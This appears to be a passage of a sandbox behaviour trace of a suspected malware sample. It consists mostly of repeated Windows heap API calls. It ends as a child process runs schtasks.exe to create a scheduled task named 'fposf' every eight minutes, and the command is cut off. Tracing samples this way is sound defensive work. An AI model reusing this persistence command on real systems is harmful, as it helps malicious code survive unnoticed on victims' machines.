GetProcessHeap () returned 0x250000 [0085.500] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cc50) returned 0x20 [0085.500] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc50 | out: hHeap=0x250000) returned 1 [0085.501] GetProcessHeap () returned 0x250000 [0085.501] GetProcessHeap () returned 0x250000 [0085.501] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x267c40) returned 1 [0085.501] GetProcessHeap () returned 0x250000 [0085.501] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x267c40) returned 0x30 [0085.501] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x267c40 | out: hHeap=0x250000) returned 1 [0085.501] GetProcessHeap () returned 0x250000 [0085.501] GetProcessHeap () returned 0x250000 [0085.501] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d660) returned 1 [0085.501] GetProcessHeap () returned 0x250000 [0085.501] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d660) returned 0x18 [0085.501] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d660 | out: hHeap=0x250000) returned 1 [0085.501] GetProcessHeap () returned 0x250000 [0085.501] GetProcessHeap () returned 0x250000 [0085.501] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc20) returned 1 [0085.502] GetProcessHeap () returned 0x250000 [0085.502] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cc20) returned 0x20 [0085.502] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc20 | out: hHeap=0x250000) returned 1 [0085.502] GetProcessHeap () returned 0x250000 [0085.502] GetProcessHeap () returned 0x250000 [0085.502] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x267bc0) returned 1 [0085.502] GetProcessHeap () returned 0x250000 [0085.502] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x267bc0) returned 0x32 [0085.503] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x267bc0 | out: hHeap=0x250000) returned 1 [0085.503] GetProcessHeap () returned 0x250000 [0085.503] GetProcessHeap () returned 0x250000 [0085.503] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d600) returned 1 [0085.503] GetProcessHeap () returned 0x250000 [0085.503] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d600) returned 0x18 [0085.503] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d600 | out: hHeap=0x250000) returned 1 [0085.503] GetProcessHeap () returned 0x250000 [0085.503] GetProcessHeap () returned 0x250000 [0085.503] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cbf0) returned 1 [0085.503] GetProcessHeap () returned 0x250000 [0085.503] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cbf0) returned 0x20 [0085.504] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cbf0 | out: hHeap=0x250000) returned 1 [0085.504] GetProcessHeap () returned 0x250000 [0085.504] GetProcessHeap () returned 0x250000 [0085.504] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c450) returned 1 [0085.504] GetProcessHeap () returned 0x250000 [0085.504] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c450) returned 0xe [0085.504] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c450 | out: hHeap=0x250000) returned 1 [0085.504] GetProcessHeap () returned 0x250000 [0085.504] GetProcessHeap () returned 0x250000 [0085.504] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c430) returned 1 [0085.504] GetProcessHeap () returned 0x250000 [0085.504] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c430) returned 0x18 [0085.504] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c430 | out: hHeap=0x250000) returned 1 [0085.504] GetProcessHeap () returned 0x250000 [0085.504] GetProcessHeap () returned 0x250000 [0085.504] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265e10) returned 1 [0085.504] GetProcessHeap () returned 0x250000 [0085.504] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265e10) returned 0x20 [0085.505] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265e10 | out: hHeap=0x250000) returned 1 [0085.505] GetProcessHeap () returned 0x250000 [0085.505] GetProcessHeap () returned 0x250000 [0085.505] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26bd10) returned 1 [0085.505] GetProcessHeap () returned 0x250000 [0085.505] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26bd10) returned 0x208 [0085.505] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26bd10 | out: hHeap=0x250000) returned 1 [0085.505] GetProcessHeap () returned 0x250000 [0085.505] GetProcessHeap () returned 0x250000 [0085.505] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26bb70) returned 1 [0085.505] GetProcessHeap () returned 0x250000 [0085.505] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26bb70) returned 0x18 [0085.505] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26bb70 | out: hHeap=0x250000) returned 1 [0085.505] GetProcessHeap () returned 0x250000 [0085.505] GetProcessHeap () returned 0x250000 [0085.505] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265d20) returned 1 [0085.505] GetProcessHeap () returned 0x250000 [0085.506] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265d20) returned 0x20 [0085.506] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265d20 | out: hHeap=0x250000) returned 1 [0085.506] GetProcessHeap () returned 0x250000 [0085.506] GetProcessHeap () returned 0x250000 [0085.506] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d3c0) returned 1 [0085.506] GetProcessHeap () returned 0x250000 [0085.506] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d3c0) returned 0x200 [0085.507] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d3c0 | out: hHeap=0x250000) returned 1 [0085.507] GetProcessHeap () returned 0x250000 [0085.507] GetProcessHeap () returned 0x250000 [0085.507] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26bbb0) returned 1 [0085.507] GetProcessHeap () returned 0x250000 [0085.507] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26bbb0) returned 0x18 [0085.507] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26bbb0 | out: hHeap=0x250000) returned 1 [0085.507] GetProcessHeap () returned 0x250000 [0085.507] GetProcessHeap () returned 0x250000 [0085.507] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265c90) returned 1 [0085.507] GetProcessHeap () returned 0x250000 [0085.507] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265c90) returned 0x20 [0085.508] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265c90 | out: hHeap=0x250000) returned 1 [0085.508] GetProcessHeap () returned 0x250000 [0085.508] GetProcessHeap () returned 0x250000 [0085.508] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c320) returned 1 [0085.508] GetProcessHeap () returned 0x250000 [0085.508] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c320) returned 0x14 [0085.508] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c320 | out: hHeap=0x250000) returned 1 [0085.508] GetProcessHeap () returned 0x250000 [0085.508] GetProcessHeap () returned 0x250000 [0085.508] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c300) returned 1 [0085.508] GetProcessHeap () returned 0x250000 [0085.508] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c300) returned 0x18 [0085.508] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c300 | out: hHeap=0x250000) returned 1 [0085.508] GetProcessHeap () returned 0x250000 [0085.508] GetProcessHeap () returned 0x250000 [0085.509] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265bd0) returned 1 [0085.509] GetProcessHeap () returned 0x250000 [0085.509] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265bd0) returned 0x20 [0085.509] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265bd0 | out: hHeap=0x250000) returned 1 [0085.509] GetProcessHeap () returned 0x250000 [0085.509] GetProcessHeap () returned 0x250000 [0085.509] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c340) returned 1 [0085.509] GetProcessHeap () returned 0x250000 [0085.509] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c340) returned 0x16 [0085.509] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c340 | out: hHeap=0x250000) returned 1 [0085.510] GetProcessHeap () returned 0x250000 [0085.510] GetProcessHeap () returned 0x250000 [0085.510] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c1c0) returned 1 [0085.510] GetProcessHeap () returned 0x250000 [0085.510] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c1c0) returned 0x18 [0085.510] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c1c0 | out: hHeap=0x250000) returned 1 [0085.510] GetProcessHeap () returned 0x250000 [0085.510] GetProcessHeap () returned 0x250000 [0085.510] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265ba0) returned 1 [0085.510] GetProcessHeap () returned 0x250000 [0085.510] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265ba0) returned 0x20 [0085.510] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265ba0 | out: hHeap=0x250000) returned 1 [0085.511] GetProcessHeap () returned 0x250000 [0085.511] GetProcessHeap () returned 0x250000 [0085.511] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26baf0) returned 1 [0085.511] GetProcessHeap () returned 0x250000 [0085.511] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26baf0) returned 0x2 [0085.511] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26baf0 | out: hHeap=0x250000) returned 1 [0085.511] GetProcessHeap () returned 0x250000 [0085.511] GetProcessHeap () returned 0x250000 [0085.511] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x2659f0) returned 1 [0085.511] GetProcessHeap () returned 0x250000 [0085.511] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x2659f0) returned 0x20 [0085.512] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x2659f0 | out: hHeap=0x250000) returned 1 [0085.512] GetProcessHeap () returned 0x250000 [0085.512] GetProcessHeap () returned 0x250000 [0085.512] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265a20) returned 1 [0085.512] GetProcessHeap () returned 0x250000 [0085.512] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265a20) returned 0x20 [0085.512] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265a20 | out: hHeap=0x250000) returned 1 [0085.513] GetProcessHeap () returned 0x250000 [0085.513] GetProcessHeap () returned 0x250000 [0085.513] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265a50) returned 1 [0085.513] GetProcessHeap () returned 0x250000 [0085.513] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265a50) returned 0x20 [0085.513] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265a50 | out: hHeap=0x250000) returned 1 [0085.513] GetProcessHeap () returned 0x250000 [0085.513] GetProcessHeap () returned 0x250000 [0085.513] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265a80) returned 1 [0085.513] GetProcessHeap () returned 0x250000 [0085.513] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265a80) returned 0x20 [0085.514] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265a80 | out: hHeap=0x250000) returned 1 [0085.514] GetProcessHeap () returned 0x250000 [0085.514] GetProcessHeap () returned 0x250000 [0085.514] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc80) returned 1 [0085.514] GetProcessHeap () returned 0x250000 [0085.514] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cc80) returned 0x20 [0085.515] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc80 | out: hHeap=0x250000) returned 1 [0085.515] GetProcessHeap () returned 0x250000 [0085.515] GetProcessHeap () returned 0x250000 [0085.515] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d760) returned 1 [0085.515] GetProcessHeap () returned 0x250000 [0085.515] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d760) returned 0xa [0085.515] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d760 | out: hHeap=0x250000) returned 1 [0085.515] GetProcessHeap () returned 0x250000 [0085.515] GetProcessHeap () returned 0x250000 [0085.515] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ccb0) returned 1 [0085.515] GetProcessHeap () returned 0x250000 [0085.515] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ccb0) returned 0x20 [0085.516] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ccb0 | out: hHeap=0x250000) returned 1 [0085.516] GetProcessHeap () returned 0x250000 [0085.516] GetProcessHeap () returned 0x250000 [0085.516] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x267b80) returned 1 [0085.516] GetProcessHeap () returned 0x250000 [0085.516] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x267b80) returned 0x30 [0085.516] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x267b80 | out: hHeap=0x250000) returned 1 [0085.516] GetProcessHeap () returned 0x250000 [0085.516] GetProcessHeap () returned 0x250000 [0085.516] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cce0) returned 1 [0085.516] GetProcessHeap () returned 0x250000 [0085.516] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cce0) returned 0x20 [0085.517] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cce0 | out: hHeap=0x250000) returned 1 [0085.517] GetProcessHeap () returned 0x250000 [0085.517] GetProcessHeap () returned 0x250000 [0085.517] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x267c00) returned 1 [0085.517] GetProcessHeap () returned 0x250000 [0085.517] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x267c00) returned 0x30 [0085.517] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x267c00 | out: hHeap=0x250000) returned 1 [0085.517] GetProcessHeap () returned 0x250000 [0085.517] GetProcessHeap () returned 0x250000 [0085.517] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cec0) returned 1 [0085.517] GetProcessHeap () returned 0x250000 [0085.517] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cec0) returned 0x20 [0085.518] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cec0 | out: hHeap=0x250000) returned 1 [0085.518] GetProcessHeap () returned 0x250000 [0085.518] GetProcessHeap () returned 0x250000 [0085.518] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d680) returned 1 [0085.518] GetProcessHeap () returned 0x250000 [0085.518] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d680) returned 0x10 [0085.518] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d680 | out: hHeap=0x250000) returned 1 [0085.518] GetProcessHeap () returned 0x250000 [0085.518] GetProcessHeap () returned 0x250000 [0085.518] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ce90) returned 1 [0085.518] GetProcessHeap () returned 0x250000 [0085.518] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ce90) returned 0x20 [0085.518] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ce90 | out: hHeap=0x250000) returned 1 [0085.518] GetProcessHeap () returned 0x250000 [0085.518] GetProcessHeap () returned 0x250000 [0085.519] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d6a0) returned 1 [0085.519] GetProcessHeap () returned 0x250000 [0085.519] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d6a0) returned 0x10 [0085.519] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d6a0 | out: hHeap=0x250000) returned 1 [0085.519] GetProcessHeap () returned 0x250000 [0085.519] GetProcessHeap () returned 0x250000 [0085.519] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ce60) returned 1 [0085.519] GetProcessHeap () returned 0x250000 [0085.519] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ce60) returned 0x20 [0085.519] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ce60 | out: hHeap=0x250000) returned 1 [0085.519] GetProcessHeap () returned 0x250000 [0085.519] GetProcessHeap () returned 0x250000 [0085.519] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d6c0) returned 1 [0085.519] GetProcessHeap () returned 0x250000 [0085.519] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d6c0) returned 0xe [0085.520] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d6c0 | out: hHeap=0x250000) returned 1 [0085.520] GetProcessHeap () returned 0x250000 [0085.520] GetProcessHeap () returned 0x250000 [0085.520] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ce30) returned 1 [0085.520] GetProcessHeap () returned 0x250000 [0085.520] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ce30) returned 0x20 [0085.520] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ce30 | out: hHeap=0x250000) returned 1 [0085.520] GetProcessHeap () returned 0x250000 [0085.520] GetProcessHeap () returned 0x250000 [0085.520] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d6e0) returned 1 [0085.520] GetProcessHeap () returned 0x250000 [0085.520] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d6e0) returned 0x16 [0085.520] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d6e0 | out: hHeap=0x250000) returned 1 [0085.520] GetProcessHeap () returned 0x250000 [0085.520] GetProcessHeap () returned 0x250000 [0085.520] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ce00) returned 1 [0085.521] GetProcessHeap () returned 0x250000 [0085.521] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ce00) returned 0x20 [0085.521] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ce00 | out: hHeap=0x250000) returned 1 [0085.521] GetProcessHeap () returned 0x250000 [0085.521] GetProcessHeap () returned 0x250000 [0085.521] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d700) returned 1 [0085.521] GetProcessHeap () returned 0x250000 [0085.521] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d700) returned 0x16 [0085.521] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d700 | out: hHeap=0x250000) returned 1 [0085.521] GetProcessHeap () returned 0x250000 [0085.521] GetProcessHeap () returned 0x250000 [0085.521] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cdd0) returned 1 [0085.521] GetProcessHeap () returned 0x250000 [0085.521] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cdd0) returned 0x20 [0085.522] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cdd0 | out: hHeap=0x250000) returned 1 [0085.522] GetProcessHeap () returned 0x250000 [0085.522] GetProcessHeap () returned 0x250000 [0085.522] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x289b70) returned 1 [0085.522] GetProcessHeap () returned 0x250000 [0085.522] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x289b70) returned 0x82 [0085.522] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x289b70 | out: hHeap=0x250000) returned 1 [0085.522] GetProcessHeap () returned 0x250000 [0085.522] GetProcessHeap () returned 0x250000 [0085.522] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cda0) returned 1 [0085.522] GetProcessHeap () returned 0x250000 [0085.522] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cda0) returned 0x20 [0085.523] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cda0 | out: hHeap=0x250000) returned 1 [0085.523] GetProcessHeap () returned 0x250000 [0085.523] GetProcessHeap () returned 0x250000 [0085.523] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d740) returned 1 [0085.523] GetProcessHeap () returned 0x250000 [0085.523] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d740) returned 0xe [0085.523] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d740 | out: hHeap=0x250000) returned 1 [0085.523] GetProcessHeap () returned 0x250000 [0085.523] GetProcessHeap () returned 0x250000 [0085.523] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd70) returned 1 [0085.523] GetProcessHeap () returned 0x250000 [0085.523] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cd70) returned 0x20 [0085.524] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd70 | out: hHeap=0x250000) returned 1 [0085.524] GetProcessHeap () returned 0x250000 [0085.524] GetProcessHeap () returned 0x250000 [0085.524] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26bb10) returned 1 [0085.524] GetProcessHeap () returned 0x250000 [0085.524] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26bb10) returned 0x18 [0085.524] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26bb10 | out: hHeap=0x250000) returned 1 [0085.524] GetProcessHeap () returned 0x250000 [0085.524] GetProcessHeap () returned 0x250000 [0085.524] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265ab0) returned 1 [0085.524] GetProcessHeap () returned 0x250000 [0085.524] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265ab0) returned 0x20 [0085.524] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265ab0 | out: hHeap=0x250000) returned 1 [0085.524] GetProcessHeap () returned 0x250000 [0085.525] GetProcessHeap () returned 0x250000 [0085.525] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265ae0) returned 1 [0085.525] GetProcessHeap () returned 0x250000 [0085.525] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265ae0) returned 0x20 [0085.525] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265ae0 | out: hHeap=0x250000) returned 1 [0085.525] GetProcessHeap () returned 0x250000 [0085.525] GetProcessHeap () returned 0x250000 [0085.525] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265b10) returned 1 [0085.525] GetProcessHeap () returned 0x250000 [0085.525] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265b10) returned 0x20 [0085.526] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265b10 | out: hHeap=0x250000) returned 1 [0085.526] GetProcessHeap () returned 0x250000 [0085.526] GetProcessHeap () returned 0x250000 [0085.526] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265b40) returned 1 [0085.526] GetProcessHeap () returned 0x250000 [0085.526] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265b40) returned 0x20 [0085.526] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265b40 | out: hHeap=0x250000) returned 1 [0085.526] GetProcessHeap () returned 0x250000 [0085.526] GetProcessHeap () returned 0x250000 [0085.527] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26bb30) returned 1 [0085.527] GetProcessHeap () returned 0x250000 [0085.527] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26bb30) returned 0x18 [0085.527] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26bb30 | out: hHeap=0x250000) returned 1 [0085.527] GetProcessHeap () returned 0x250000 [0085.527] GetProcessHeap () returned 0x250000 [0085.527] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265b70) returned 1 [0085.527] GetProcessHeap () returned 0x250000 [0085.527] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265b70) returned 0x20 [0085.554] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265b70 | out: hHeap=0x250000) returned 1 [0085.554] GetProcessHeap () returned 0x250000 [0085.554] GetProcessHeap () returned 0x250000 [0085.555] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265c00) returned 1 [0085.555] GetProcessHeap () returned 0x250000 [0085.555] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265c00) returned 0x20 [0085.555] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265c00 | out: hHeap=0x250000) returned 1 [0085.555] GetProcessHeap () returned 0x250000 [0085.555] GetProcessHeap () returned 0x250000 [0085.555] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265c60) returned 1 [0085.555] GetProcessHeap () returned 0x250000 [0085.555] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265c60) returned 0x20 [0085.556] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265c60 | out: hHeap=0x250000) returned 1 [0085.556] GetProcessHeap () returned 0x250000 [0085.556] GetProcessHeap () returned 0x250000 [0085.556] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265cc0) returned 1 [0085.556] GetProcessHeap () returned 0x250000 [0085.556] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265cc0) returned 0x20 [0085.556] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265cc0 | out: hHeap=0x250000) returned 1 [0085.556] GetProcessHeap () returned 0x250000 [0085.556] GetProcessHeap () returned 0x250000 [0085.556] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265cf0) returned 1 [0085.556] GetProcessHeap () returned 0x250000 [0085.556] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265cf0) returned 0x20 [0085.557] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265cf0 | out: hHeap=0x250000) returned 1 [0085.557] GetProcessHeap () returned 0x250000 [0085.557] GetProcessHeap () returned 0x250000 [0085.557] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26bb50) returned 1 [0085.557] GetProcessHeap () returned 0x250000 [0085.557] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26bb50) returned 0x18 [0085.557] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26bb50 | out: hHeap=0x250000) returned 1 [0085.557] GetProcessHeap () returned 0x250000 [0085.557] GetProcessHeap () returned 0x250000 [0085.557] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265c30) returned 1 [0085.557] GetProcessHeap () returned 0x250000 [0085.557] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265c30) returned 0x20 [0085.558] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265c30 | out: hHeap=0x250000) returned 1 [0085.558] GetProcessHeap () returned 0x250000 [0085.558] GetProcessHeap () returned 0x250000 [0085.558] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26bad0) returned 1 [0085.558] GetProcessHeap () returned 0x250000 [0085.558] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26bad0) returned 0x18 [0085.558] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26bad0 | out: hHeap=0x250000) returned 1 [0085.558] exit (_Code=0) Thread: id = 191 os_tid = 0x24c Process: id = "55" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3aeb5000" os_pid = "0x72c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"fposf\" /sc MINUTE /mo 8 /tr 